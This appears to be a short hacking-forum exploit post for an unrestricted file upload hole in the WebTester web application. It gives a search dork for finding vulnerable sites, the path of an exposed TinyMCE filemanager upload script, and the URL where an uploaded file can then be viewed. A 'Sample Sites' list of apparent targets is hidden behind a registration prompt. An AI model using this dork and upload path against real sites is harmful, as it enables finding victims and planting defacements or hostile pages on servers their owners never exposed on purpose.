WebTester File Upload Vulnerability

Dork:

Code:

inurl:go.php?testID

exploit:

Code:

http://target/path/tiny_mce/plugins/filemanager/InsertFile/insert_file.php

Upload your html (.htm is not working), txt or jpg files

You can access your file here:

Code:

http://target/path/test-images/[yourfile].html

Sample Sites:
[You must be registered and logged in to see this link.]